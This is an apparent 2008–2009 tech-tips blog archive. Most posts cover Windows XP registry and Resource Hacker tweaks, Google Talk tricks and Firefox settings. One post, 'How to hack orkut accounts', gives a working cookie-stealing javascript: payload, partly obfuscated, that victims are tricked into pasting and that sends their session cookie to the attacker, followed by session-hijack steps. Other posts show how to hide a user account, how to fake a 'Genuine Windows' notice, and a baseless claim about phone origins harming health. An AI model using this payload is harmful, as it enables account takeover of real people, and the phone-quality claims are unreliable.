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    2/9/2009

    Add SAFE MODE OPTION TO BOOT MENU

     

    Follow these steps to add a Safe Mode option to the Boot menu.
    When you're experiencing a problem with Windows XP, you may need to boot the system into Safe Mode more than once. However, doing so can be a tiresome process. When the Boot menu appears, you must press [F8], and then you must select Safe Mode from yet another menu.
    Wouldn't it be nice if Safe Mode were available from the Boot menu? In fact, it's relatively easy to add a Safe Mode option to the Boot menu.
    Here's how.

    1. 1. Press [Windows][Break] to open the System Properties dialog box.
      2. On the Advanced tab, click the Settings button in the Startup And Recovery section.
      3. In the System Startup section, click the Edit button.
      4. When the Boot.ini file opens in Notepad, locate the line that ends with the /fastdetect switch.
      5. Highlight and copy that line and paste it in the line below.
      6. Change the section on the line that reads

    WINDOWS="Microsoft Windows XP Professional" to WINDOWS="Safe Mode."

    Add the following to the end of the line:

    /safeboot:minimal /sos /bootlog

    How to Create A Hidden User Account

     This tweak allows an account that is normally displayed on the Welcome screen to be hidden from view. To log on using the account it's necessary to use the Log On To Windows dialog box similar to the one in Windows 2000.

    [Start] [Run] [Regedit]
    Registry Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
    Winlogon\SpecialAccounts\UserList
    Modify/Create the Value Data Type(s) and Value Name(s) as detailed below.
    Data Type: REG_DWORD [Dword Value] // Value Name: Type Name of Account to be Hidden
    Setting for Value Data: [0 = Account is Hidden / 1 = Enabled]
    Exit Registry and Reboot

    While the account is hidden on the Welcome screen, note that the account profile will be visible in C:\Documents and Settings or wherever user profiles are stored as well as in Local Users and Groups
    1/17/2009

    How to Unlock Password Protected Memory Cards

    Well its quite simple but most of the people do not know it.

    Please note the fact that it only works if the password to the MMC Card was set in ur own mobile,where u want it to be unlocked.

    This method works well for nokia cells with symbian operating system.Never tried on other cells.use any software like FXplorer that can browse files in ur cell.

    1. Open one of above software you have.
    2. Browse through the directory, C:\system
    3. Rename the file mmcstore to mmcstore.txt
    4. Open the file - The file will open in Notes.
    5. You will find your password in that file. That file would also contain much more data which you do not understand,so you need to go through the file to get the password!

    When ur cell is connected to pc by means of data cable or bluetooth,u can see the password by simply opening the file mmcstore with notepad.
    1/15/2009

    Interesting Tweaks regarding GOOGLE TALK

    Change the font size - While holding the control key, move the scroll wheel on your mouse either up or down. This trick works while being focused in either the read or write area.

    Insert line breaks - If you want to have a message that spans multiple paragraphs, just hold shift and hit enter. You can add as many new lines as you want to create.

    Bold Text - To write something bold, you can use an asterisk before and after the word, like *Hello* .

    Italic Text - To use italics, use an underscore before an after the word, like _hello_ .

    Switch windows - Hitting tab will cycle through open windows. It will select minimized conversations, to expand them just hit enter. If you just want to cycle through IM's and don't care about the buddy list, control-tab will do that and will automatically expand a minimized conversation if you settle on one.

    Invitation Tips - You don't need to say Yes or No when someone wants to add you as a friend; you can simply ignore it, the request will go away. (On the other hand, someone with whom you chat often will automatically turn to be your friend, unless you disable this in the options). ]

    Show Hyperlinks - You can show your homepage or blog URL simply by entering the it in your away message (at the top of the main window). It will automatically turn to a link visible to others.

    A message can be 32767 characters long.

    How To Conference Calls :
    What you need to do to have conference calls: Open up a copy of Google Talk on all computers with which you wish to conference. After one copy is opened make a new shortcut for Google Talk but at the end of it add /nomutex. If you installed it to the default folder then your shortcut should read "C:\Program Files\Google\Google Talk\googletalk.exe" /nomutex. Open 2nd instances of the software on every user's computer. After this start a chain: User 1 should connect on one instance to user 2. User 2 will connect on his second instance to user 3. User 3 will connect using his second instance back to user 1. With this chain everyone is connected to everyone.

    Nickname & Status Message :
    You can't change your nickname in a way that other people will see it change. Every nickname in the Google Talk contact list is the part that is before @gmail.com (only the alphabetical characters are used) or the name you chosen for your GMail account. To change the nickname need to go to your Gmail account and change the name there. Choose Settings, Accounts, and then Edit info. Click on the second radio button, and enter your custom name. As a result all of your emails will have that nick as well, there is no way to seperate the two. You can add a website in your custom message, it will be clickable when someone opens a conversation window with you.

    Contacts:
    You don't need to say Yes or No when someone wants to add you as a friend; you can simply ignore it, the request will go away. (On the other hand, someone with whom you chat often will automatically turn to be your friend, unless you disable this).
    The Gmail account 'user@gmail.com' can't be invited as your friend.

    Play Music:
    It's possible to broadcast music, MP3, etc.. through Google Talk.
    Unplug your microphone. Double click on the speaker icon in the lower right corner. This will open up "Volume Control". Select "Options" and then "Properties". Then check the button next to "Recording" then click OK. You may also have to change your setting under Mixer Device. Now the Recording Control screen should be up. On my computer I selected "Wave Out Mix". Click on the green phone in Google Talk and call your friend.

    Use Google Talk via a Web Browser
    You want to use Google Talk anywhere ? Follow these guidelines.
    Step 1: Opens your favorite web browser at the following address :
    http://talkgadget.google.com/talkgadget/popout
    Step 2: Follow the instructions of the Page.
    Step 3: You can talk with your friends

    Google's Secret Command-Line Parameters
    There are a few secret parameters you can add to Google Talk and make it function differently.
    To add these, open up your Google Talk shortcut properties, and where it says "Target:" add one or more of these inside the quotations, but after the .exe part.

    The most important, I think, is /nomutex, which allows you to run more than one instance of GT. Here are the others:
    Example: "C:\Program Files\Google\Google Talk\googletalk.exe" /nomutex
    /nomutex: allows you to open more than one instance of Google Talk
    /autostart: when Google Talk is run with this parameter, it will check the registry settings to see if it needs to be started or not. If the "Start automatically with Windows" option is unchecked, it won't start.
    /forcestart: same as /autostart, but forces it to start no matter what option was set.
    /S upgrade: Used when upgrading Google Talk
    /register: registers Google Talk in the registry, includig the GMail Compose method.
    /checkupdate: check for newer versions
    /plaintextauth: uses plain authentication mechanism instead then Google's GAIA mechanism. Used for testing the plain method on Google's servers.
    /nogaiaauth: disables GAIA authentication method. The same as above.
    /factoryreset: set settings back to default.
    /gaiaserver servername.com: uses a different GAIA server to connect to Google Talk. Used for debug purposes only, there are no other known GAIA servers.
    /mailto email@host.com: send an email with Gmail
    /diag: start Google Talk in diagnostic mode
    /log: probably has something to do with the diagnostic logging
    /unregister: ?
    /embedding: ?
    1/10/2009

    Registry Tricks and Tips

    Registry Tricks and Tips

    Add OpenWith to all files
    Backup/Restore the Registry
    Lockout unwanted Users
    Customize the System Tray
    Changing Windows' Icons
    Change Registered User
    Change Registered Owner

    Add/Remove Sound Events
    Open a DOS Window to a folder
    Change Exchange/Outlook Mailbox
    Add Apps to Right Click
    Add Explore to all Folders
    Creating a Logon Banner
    Creating a Default File Opener
    Changing the Tips of the Day
    Automatic Screen Refresh
    Disable Password Caching
    Removing Items from NEW
    Recycle Bin Edits
    Disabling My Computer
    Changing Desktop Icons
    Turn Off Window Animation
    Change/add restriction and features
    Change Keyboard layout
    Making Telnets window larger
    Multiple Columns For the Start Menu
    Change Default Folder Locations
    Disabling Drives in My Computer
    Disable the Outlook Express Splash Screen
    Change Location of Windows Installation Files
    Change the caption on the Title Bar for Outlook
    Change the caption on the Title Bar on I.E.
    Clearing the Documents Menu Automatically
    Disabling the Right-Click on the Start Button
    Opening the Explorer from My Computer
    Setting the Minimum Password Length
    Add\Delete programs to run on boot up
    Removing the Shortcut Icon Arrows
    Changing your Modem's Initialization String
    Increasing the Modem Timeout
    Clear Apps from Add/Remove
    The Fix For Grayed Out Boxes
    Adding Items to the Start Button
    Change the MaxMTU for faster Downloads
    Remove Open, Explore & Find from Start Menu
    More Protection for system files
    Delete Registry Keys from Command Line

    Backup / Restore the Registry

    To Backup/Restore the Windows Registry: Windows 9x For XP 2000 click here

    1. If you are in MSDOS, at the C:\Windows prompt type
    2. Attrib -s -r -h C:\Windows\System.dat (press Enter)
    3. Attrib -s -r -h C:\Windows\User.dat (press Enter)

    To make the backup copies type:

    1. copy C:\Windows\System.dat C:\Windows\System.000 (press Enter)
    2. copy C:\Windows\User.dat C:\Windows\user.000 (press Enter)

    To Restore the Registry

    1. copy C:\Windows\System.000 C:\Windows\System.dat (press Enter)
    2. copy C:\Windows\User.000 C:\Windows\user.dat (press Enter)

    Add Open With to all files

    You can add "Open With..." to the Right click context menu of all
    files.This is great for when you have several programs you want to
    open the same file types with. I use three different text editors so I
    added it to the ".txt" key.

    1. Open RegEdit
    2. Go to HKEY_CLASSES_ROOT\*\Shell
    3. Add a new Key named "OpenWith" by right clicking the "Shell" Key
    and selecting new
    4. Set the (Default) to "Op&en With..."
    5. Add a new Key named "Command" by right clicking the "OpenWith" Key
    and selecting new
    6. Set the (Default) to "C:\Windows\rundll32.exe
    shell32.dll,OpenAs_RunDLL %1", C:\ being your Windows drive. You must
    enter the "OpenAs_RunDLL %1" exactly this way.

    Customize the System Tray

    You can add your name or anything you like that consists of 8
    characters or less. This will replace the AM or PM next to the system
    time. But you can corrupt some trial licenses of software that you may
    have downloaded.

    1. Open RegEdit
    2. Go to HKEY_CURRENT_USER\Control Panel\International
    3. Add two new String values, "s1159" and "s2359"
    4. Right click the new value name and modify. Enter anything you like
    up to 8 characters.

    If you enter two different values when modifying, you can have the
    system tray display the two different values in the AM and PM.

    Lock Out Unwanted Users

    Want to keep people from accessing Windows, even as the default user?
    If you do not have a domain do not attempt this.

    1. Open RegEdit
    2. Go to HKEY_LOCAL_MACHINE\Network\
    Logon
    3. Create a dword value "MustBeValidated"
    4. Set the value to 1
    This forced logon can be bypassed in Safe Mode on Windows 9x

    Disable the Outlook Express Splash Screen

    You can make OutLook Express load quicker by disabling the splash screen:

    1. Open RegEdit
    2. Go to HKEY_CURRENT_USER\Software\Microsoft\OutLook Express
    3. Add a string value "NoSplash"
    4. Set the value data to 1 as a Dword value

    Multiple Columns For the Start Menu

    To make Windows use multiple Start Menu Columns instead of a single
    scrolling column, like Windows 9x had, Also if you are using Classic
    Mode in XP

    1. Open RegEdit
    2. Go to the key
    HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\
    Explorer\ Advanced
    3. Create a string value "StartMenuScrollPrograms"
    4. Right click the new string value and select modify
    5. Set the value to "FALSE"

    Changing Windows' Icons

    You can change the Icons Windows uses for folders, the Start Menu,
    opened and closed folder in the Explorer, and many more.

    1. Open RegEdit
    2. Go to
    HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\
    Explorer\ Shell Icons
    3. Add a string value for each Icon you wish to change.
    Example: "3" ="C:\Windows\Icons\MyIcon.ico,0" This will change the
    closed folders in the Explorer to "MyIcon.ico". Here is a complete
    list for each value.
    0= Unknown file type
    1= MSN file types
    2= Applications Generic
    3= Closed Folder
    4= Open Folder
    5= 5.25" Drive
    6= 3.25" Drive
    7= Removable Drive
    8= Hard Drive
    9= NetWork Drive
    10= Network Drive Offline
    11= CD-ROM Drive
    12= RAM Drive
    13= Entire Network 14= Network Hub
    15= My Computer
    16= Printer
    17= Network Neighborhood
    18= Network Workgroup
    19= Start Menu's Program Folders
    20= Start Menu's Documents
    21= Start Menu's Setting
    22= Start Menu's Find
    23= Start Menu's Help
    24= Start Menu's Run
    25= Start Menu's Suspend
    26= Start Menu's PC Undock
    27= Start Menu's Shutdown 28= Shared
    29= Shortcut Arrow
    30= (Unknown Overlay)
    31= Recycle Bin Empty
    32= Recycle Bin Full
    33= Dial-up Network
    34= DeskTop
    35= Control Panel
    36= Start Menu's Programs
    37= Printer Folder
    38= Fonts Folder
    39= Taskbar Icon
    40= Audio CD

    You need to reboot after making changes. You may need to delete the
    hidden file ShellIconCache if after rebooting the desired Icons are
    not displayed.

    Hack Single Click Select All Feature in Mozilla Firefox Addressbar


    If you are a Mozilla Firefox user, you might have noticed that
    whenever you click in the addressbar, the whole text is selected by
    default. Its a good feature and very handy when you want to clear the
    addressbar to enter a new URL but sometimes you might want to disable
    it. Why? because if you want to edit a URL in the addressbar, you'll
    need to double-click to edit it.

    So it depends upon what are your requirements. This tutorial will help
    you in disabling this feature and after following this tutorial, you
    can edit the URL by simply clicking in the addressbar, it'll not
    select the whole text any more.

    So here are the steps:

    1. Open firefox and type about:config in the addressbar and press
    Enter. It'll confirm, click on I'll be careful, I promise! button.

    2. Now type SelectsAll in the Filter box. It'll show 2 entries:

       browser.urlbar.clickSelectsAll
       browser.urlbar.
    doubleClickSelectsAll

    "clickSelectsAll" would be set to true and "doubleClickSelectsAll"
    would be set to false.

    3. Now to disable the auto-select feature, either double-click on
    "clickSelectsAll" or right-click on it and select "Toggle". It'll set
    its value to false.

    You can set Firefox to select the whole text in the addressbar by
    double-clicking in it. To do so, either double-click on
    "doubleClickSelectsAll" or right-click on it and select "Toggle".
    It'll set its value to true.

    4. That's it. Now Firefox will no longer select the whole text when
    you click in the addressbar but if you double-click, it'll select the
    whole text for you.

    To change the icons used for specific drives in explorer

    Open regedit by typing regedit into start->run

    then navigate to

    HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer

    now create a key(KEY not VALUE!!) called DriveIcons under Explorer...
    now within DriveIcons, create another key with the drive letter you want to change (e.g.,HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\K)...
    create another key within the drive letter key called DefaultIcon...
    now set the default String value equal to the icon you want to use. if you have a file that has more than one icon in it, such as a DLL file, use the standard
    C:\full_path\icon_file.dll,n <file:///C:/full_path/icon_file.dll,n>) where n is the number of the icon within the file icon_file.dll...
    12/30/2008

    How to hack orkut accouts

    The article below explains the method to hack orkut account by stealing cookies. Hacking orkut accounts has become much popular and hence i have added this article which will help you in hacking your friends orkut account. Just ask the victim to copy the script in address bar and then you will be able to login/access /hack his orkut account. The another method for hacking orkut accounts is by means of phishing which i have explained in my post Using phishing to hack accounts.

    Note:
    My purpose is only to make u aware of what's happening around and not to teach u hacking orkut, gmail or any account in any sort!!.

    Procedure for hacking orkut by cookies stealing from mozilla firefox to hack gmail or orkut is given below.


    "Hacking orkut or Gmail" With the Help of Cookies or by "stealing cookies" of the victim:

    By going through this post i hope you will understand how easy has hacking became with the help of cookies.

    The post explains how one can steal cookies to hack orkut account or gmail account. No password cracking method required. Neither i will ask u to download any costly software. Only what u have to do is send the below mentioned script to the victim and ask him to copy paste in his address bar. Once thats done, you can access his account easily and do whatever u want.

    By this post you'll be learning cookie stealing and Hacking orkut Or Gmail account. Orkut or any account can also be hacked by using Keylogging.

    Update: I have been reported by many visitors that this hack has worked for all of them. Thus, this account hacking trick is working 100%....cheers.....

    Procedure to hack gmail or orkut through mozilla by stealing cookies:-

    1.Firstly you need have Mozilla firefox.
    2.Download cookie editor plugin for Mozilla firefox from:

    https://addons.mozilla.org/en-US/firefox/addon/573

    3.You need to have two fake accounts to Hack Orkut or Gmail , So that you have to receive cookies to one Orkut account and other Orkut account for Advertising your Script, Well it depends on your Choice to have Two Gmail(Orkut) accounts.

    Cookie Script:


    javascript:nobody=replyForm;nobody.toUserId.value=33444211;
    nobody.scrapText.value=document.cookie;nobody.action='scrapbook.aspx?
    Action.submit';nobody.submit()



    How to use cookies script?

    1. Replace your number "UserId.value=33444211"
    How to Replace your Number
    1. Go to your album
    2. Right click on any Photo> Properties>55886645.jpg It will be a Eight Digit Value.
    3. Now replace your value with the value in the java script.



    Your script will look like.


    javascript:nobody=replyForm;nobody.toUserId.value=yournumber;
    nobody.scrapText.value=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101));
    nobody.action='Scrapbook.aspx?Action.writeScrapBasic';nobody.submit()

    2.Now send this Cookie script to the victim and ask him to paste in Address bar and Press enter

    3.You'll Get his cookie in your scrap book.

    4.After Getting a cookie go to your orkut Home page , Then click on Tools tab and then go to cookie editor plugin( Tools--> Cookie editor)

    5.click filter/refresh.look for 'orkut_state' cookie. just double click it and replace the orkut_state part with your victim's Script
    put ur eight digit number in the place of (33444211).

    Thats it your done with.

    Logout of your orkut and login again and you'll be in your victims Homepage.

    How to bypass Rapidshare download limit..

    How to bypass Rapidshare download limit..
    If you have a dynamic IP then you can easily bypass rapidshare
    download limits of 1-4 hour

    Step 1: Delete cookies of your browser.
    Step 2: Request a new IP address from your ISP server.
    Here's how to do it in windows:
    1. Click Start
    2. Click run
    3. In the run box type cmd.exe and click OK
    4. When the command prompt opens type the following. ENTER after each new line.
    ipconfig /flushdns
    ipconfig /release
    ipconfig /renew
    exit

    Step 3: Turn off the power of your modem for 5 seconds, then turn it on again.

    Now you are ready to download again from rapidshare.

    12/28/2008

    Check your mobile phone quality

    Press *#06# on your mobile

    After you enter the code you will see a new code contain 15 digits:
    4 3 5 3 2 8 1 0 6 8 0 1 5 4 6

    IF the seventh and eighth digit is 0 2 or 2 0 respectively that mean it was Assembled in Emirates which is of very Bad quality

    IF the seventh and eighth digit is 0 8 or 8 0 respectively that mean it was manufactured in Germany which is not bad

    IF the seventh and eighth digit is 0 1 or 1 0 respectively that means it was manufactured in Finland which is Good

    IF the seventh and eighth digit is 0 0 respectively that means it was manufactured in original factory which is the best Mobile Quality [Like N-Series]

    IF the seventh and eighth digit is 1 3 that means it was Assembled in Azerbaijan which is of very Bad quality and very dangerous for health.
    12/24/2008

    List of Files to be Hacked using Resource Hacker

    Here is a list of files, which can be edited using Resource Hacker to
    change the look-n-feel of Windows:

    Windows XP:

    %windir%\System32\NToskrnl.exe : To change Windows Boot screen

    %windir%\System32\Logonui.exe : To change Windows Login Screen

    %windir%\System32\MSgina.dll : To change the text & background of
    Shutdown dialog box

    %windir%\System32\Shell32.dll : To change a lot of things, like
    Progress dialog box (copying, deleting, etc.), Run dialog box, Context
    menu items, and many other things (As much as you'll go through the
    items, you'll know what I'm talking about)

    %windir%\System32\Netshell.dll : To change flashing internet icon in system tray

    %windir%\System32\Comdlg32.dll : To change the look of Open/Save
    dialog box, color box, print box, find & replace box, etc.

    %windir%\System32\Comctl32.dll : To change the icons appearing in
    upper-right side of Open/Save dialog box.

    %windir%\System32\Stobject.dll : To change volume icon & some other
    icons in system tray

    %windir%\System32\mydocs.dll : To change My Documents icon

    %windir%\System32\shdocvw.dll : To change Internet Explorer 6 icons and graphics

    %windir%\System32\IEFrame.dll : To change Internet Explorer 7 icons and graphics

    %windir%\System32\shimgvw.dll : To change image file icons, i.e., BMP,
    JPG, JPEG, GIF, etc

    %windir%\System32\Sysdm.cpl : To change the System Properties window look

    %windir%\System32\Winlogon.exe : To change the text, which you see in
    Login Screen, like applying user settings, logging off, shutting down,
    etc.

    %windir%\Explorer.exe : To change Start button text, Programs Menu
    text (like Programs, Favorites, Documents, etc.)

    %windir%\System32\browselc.dll : To change the Menu names in Windows
    Explorer as well as Internet Explorer

    Windows XP Setup folder\I386\Winntbbu.dll : To change XP Setup look
    and text entries

    Windows 98:

    Windows 98 users replace "System32" folder with "System" folder, e.g.,
    in Windows 98 "Shell32.dll" file will be in %windir%\System\ folder.



    Uses of Compatibility mode in XP

    you're having trouble running older programs originally developed for previous versions of Windows, you're not out of luck. Luckily for consumers, Microsoft built Compatibility Mode into XP. Compatibility Mode allows you to run a program using the shell of the original program it was developed for.


    Here's how to access a program's Compatibility Mode in XP:


    Find the executable or program shortcut icon you'd like to run.
    Right-click the icon and select Properties.
    Click the Compatibility tab and place a checkmark next to the text labeled "Run this program in compatibility mode."
    Select the operating system that the program was originally intended to run on.
    You may need to fine-tune the three fields under "Display Settings" if an older program requires 640x480 resolution or 256 colors.
    Click Apply.

    Try starting the program after making these changes. If it still gives you trouble, try a different operating system. If the program was written for Win95 and worked fine in Win98, there's nothing that says it still won't work fine with Win98.
    12/23/2008

    How to remove the Username from start menu

    Open Registry Editor Then Go To :
    1. "HKEY_CURRENT_USER\Software\
    Microsoft\Windows\CurrentVersion\Policies\Explorer"
    2. On The Right, Make A New Entry With Right Click On Your Mouse Then
    Choose "New | DWORD Value"
    3. Change The Entry's Name Into "NoUserNameInStartMenu", Double Click
    In The New Entry And Fill The "Value Data" With "1".
    4. Press OK, Exit From The Registry Editor.
    5. Restart Your Computer.

    Oops!!! Where is your little picture in the start menu??!!!!!

    STOP NOISE IN COPYING AUDIO CD USING THIRT PARTY SOFTWARES LIKE NERO AND ASHAMPOO

    STOP NOISE IN COPYING AUDIO CD:

    When using 3rd party burning software (eg, Nero Burning Rom) to copy
    audio CD,some noise may be heard at the end of each track. To prevent
    this,try the following method:
    1. Enter System Properties\device manager
    2. Select IDE ATA/ATAPI controllers
    3. Double click on thee CD writer IDE channel
    4. Select advance setting
    5. Change the transfer mode to 'PIO Only'
    6. Restart Computer

    You are done!!!
    12/17/2008

    Create A Hidden User Account

    This tweak allows an account that is normally displayed on the Welcome screen to be hidden from view. To log on using the account it's necessary to use the Log On To Windows dialog box similar to the one in Windows 2000.

    [Start] [Run] [Regedit]
    Registry Key: HKEY_LOCAL_MACHINE\SOFTWARE\
    Microsoft\WindowsNT\CurrentVersion\
    Winlogon\SpecialAccounts\UserList
    Modify/Create the Value Data Type(s) and Value Name(s) as detailed below.
    Data Type: REG_DWORD [Dword Value] // Value Name: Type Name of Account to be Hidden
    Setting for Value Data: [0 = Account is Hidden / 1 = Enabled]
    Exit Registry and Reboot

    While the account is hidden on the Welcome screen, note that the account profile will be visible in C:\Documents and Settings or wherever user profiles are stored as well as in Local Users and Groups
    12/13/2008

    Funny Computer Trick

    Copy and paste the java script code to the address bar of your browser

    javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)

    2: Press enter and watch your window's "shaking it". You can change the value of i if you wish :-)

    Create Password Disk

    Microsoft has enhanced security features in XP including the the ability to create a floppy diskette to recover your password incase it is forgotten.


    * Click Start
    * Click Control Panel
    * Click User Accounts
    * Click on the account which you want to create a password disk
    * Click Prevent a forgotten password which starts the Forgotten Password Wizard . This is found under Related Tasks
    * Insert a blank, formatted disk into drive A, and click Next
    * Enter the password in the Current user account password box

    To use the recovery disk, at the Welcome screen

    * Click the user name whose password is on the recovery disk
    * Click the question mark button
    * This causes the Did you forget your password message to appear.
    * Click use your password reset disk
    * This will start the Password Reset Wizard.

    From this point, just follow the wizard's instructions and you will be able to set a new password. It is different if you are part of a domain, see next tip.

    12/9/2008

    How to Add Your Name in Desktop Context Menu in Windows XP? [Posted in Resource Hacker, Windows XP]


    Many people have asked me how did I add my name on top in Desktop context menu as shown in above screenshot? So today I decided to write a small tutorial about it.

    So here is a step-by-step tutorial on how to add any desired string in Desktop context menu:

    1. Open “%windir%\System32\Shell32.dll” file in resource hacker and go to:

    Menu -> 215 -> 1033

    2. Now add following line:

    MENUITEM "xyz", 33333, MFT_STRING, MFS_GRAYED | MFS_DEFAULT

    Just after the:

    215 MENUEX
    LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
    {
    POPUP "", 0, MFT_STRING, MFS_ENABLED, 0
    {

    3. Replace "xyz" with any string which you want to add, e.g.

    MENUITEM "!*~.VISHAL.~*!", 33333, MFT_STRING, MFS_GRAYED | MFS_DEFAULT

    4. Click on "Compile Script" button.

    5. Save the file and restart your Windows to see the affect.

    You can remove "MFS_GRAYED" or "MFS_DEFAULT" or both to have some different look. "MFS_GRAYED" is used to disable the text, if you'll remove it, your name will look like an enabled item. "MFS_DEFAULT" is used to show the text in Bold, if you'll remove it, your name will be shown as normal text instead of Bold.


    How to enable VIEW Menu on Desktop in Windows XP using Reshack

    This tutorial will help you in enabling "View" menu on Desktop which is now available by default.
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    1. Open %windir%\System32\Shell32.dll file in Resource Hacker.

    2. Goto: Menu -> 215 -> 1033.

    3. In right-side pane, replace the line saying:

    POPUP "&View", 28674, MFT_STRING, MFS_ENABLED, 0

    to:

    POPUP "&View", 0, MFT_STRING, MFS_ENABLED, 0

    i.e., you have to only change the ID 28674 to 0. It can also be done by deleting the text after "&View" and after compilation resource hacker will automatically add the remaining part.

    4. Now click on Compile Script button and save the file.

    Now after restarting the PC, you'll see the VIEW menu on desktop and it'll work without any problem.

    NOTE: After applying this tweak the "View" button on Toolbar will stop working.



    Hacking System property dialog box using Reshack

    In this tutorial, I'll describe how to change the first tab "General" in System Properties dialog box. Following is a screenshot of the dialog box which will you get after following this hack:


    1. I'm uploading some images, which will be required to add in dialog box. Download the ZIP file, extract it and you'll get 4 BMP files:

    Download BITMAPs

    2. Open %windir%\System32\sysdm.cpl file in Resource hacker.

    3. Now we have to replace existing 1.BMP file with the downloaded one. To do this:

    a. Goto Bitmap -> 1 -> 1033.
    b. Click on Action -> Replace Bitmap....
    c. Click on Open file with new bitmap... button.
    d. Select the new downloaded 1.BMP file and click on Open button.
    e. finally click on Replace button.

    4. Now we have to add remaining downloaded BMPs in the file. To do this:

    a. Click on Action -> Add a new Resource ....
    b. Click on Open file with a new resource... button.
    c. select 4.BMP and click on Open button.
    d. Give 4 in Resource Name and 1033 in Resource Language text boxes.
    e. Finally click on Add Resource button.

    5. Repeat 4th Step for other BMPs (5.BMP & 6.BMP) also. (Resource Name for 5.BMP & 6.BMP will be 5 & 6 respectively and Resource Language will be 1033 for both).

    6. Now download following text file, open it and copy the contents, then goto Dialog -> 101 -> 1033 and replace existing code with the copied code:

    101 DIALOGEX 32, 10, 376, 215
    STYLE DS_FIXEDSYS | DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION
    CAPTION "General"
    LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
    FONT 8, "MS SHELL DLG"
    {
    CONTROL 6, 0, STATIC, SS_BITMAP | SS_CENTERIMAGE | WS_CHILD | WS_VISIBLE | WS_GROUP, 1, 4, 106, 207
    CONTROL "Windows Edition", 304, BUTTON, BS_GROUPBOX | WS_CHILD | WS_VISIBLE, 110, 5, 265, 73
    CONTROL "", 52, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 130, 20, 162, 8
    CONTROL "", 54, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 130, 36, 100, 8
    CONTROL "", 58, EDIT, ES_LEFT | ES_AUTOHSCROLL | ES_READONLY | WS_CHILD | WS_VISIBLE, 147, 192, 107, 8
    CONTROL "System", 304, BUTTON, BS_GROUPBOX | WS_CHILD | WS_VISIBLE, 110, 80, 265, 65
    CONTROL "", 62, STATIC, SS_BITMAP | SS_CENTERIMAGE | WS_CHILD | WS_VISIBLE, 272, 152, 89, 54
    CONTROL 4, 0, STATIC, SS_BITMAP | WS_CHILD | WS_VISIBLE | WS_GROUP, 326, 90, 41, 47
    CONTROL 5, 0, STATIC, SS_BITMAP | WS_CHILD | WS_VISIBLE | WS_GROUP, 235, 98, 80, 15
    CONTROL "", 63, "Link Window", 0x50000000, 130, 101, 100, 8
    CONTROL "", 64, "Link Window", 0x50000000, 130, 91, 100, 8
    CONTROL "", 65, "Link Window", 0x50000000, 130, 111, 100, 8
    CONTROL "", 66, "Link Window", 0x50000000, 130, 121, 100, 8
    CONTROL "", 67, "Link Window", 0x50000000, 130, 131, 100, 8
    CONTROL "&More Information", 69, BUTTON, BS_PUSHBUTTON | WS_CHILD | WS_DISABLED | WS_TABSTOP, 235, 123, 80, 14
    CONTROL "Windows Activation", 304, BUTTON, BS_GROUPBOX | WS_CHILD | WS_VISIBLE, 110, 147, 265, 60
    CONTROL "PID :", 0, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 131, 192, 17, 9
    CONTROL 1, 0, STATIC, SS_BITMAP | WS_CHILD | WS_VISIBLE | WS_GROUP, 309, 13, 64, 59
    CONTROL "This version of Windows is Genuine.", 0, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 131, 180, 115, 10
    CONTROL "Copyright © 2006 Microsoft Corporation. All rights reserved.", 0, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 115, 54, 195, 9
    CONTROL "", 56, EDIT, ES_LEFT | ES_AUTOHSCROLL | ES_READONLY | WS_CHILD | WS_VISIBLE, 130, 160, 100, 8
    CONTROL "", 57, EDIT, ES_LEFT | ES_AUTOHSCROLL | ES_READONLY | WS_CHILD | WS_VISIBLE, 130, 170, 100, 8
    }

    7. Click on Compile Script button.

    8. Now to change the text "Microsoft Windows XP" & "Version 2002" (or similar):

    a. Goto: String Table -> 12 -> 1033.
    b. Change the String in 180 to "Windows VISTA™ Ultimate Edition" & click on Compile Script button.
    c. Similarly goto: String Table -> 13 -> 1033.
    d. And change the String in 195 to "Hacked by : VISHAL GUPTA" (you can change "VISHAL GUPTA" with your name ) & click on Compile Script button.

    9. At last Save the file and close Resource Hacker.

    10. You can see an image in screenshot having "ask for Genuine Microsoft software" text. If you want to show it as well, then download following ZIP file, extract it and you'll get 2 files "OEMLogo.BMP" and "OEMInfo.INI". Copy both files to "%windir\System32\" folder:

    Download Files

    11. That's it. We have done. Now you'll get the same look as shown in the screensot. Enjoy...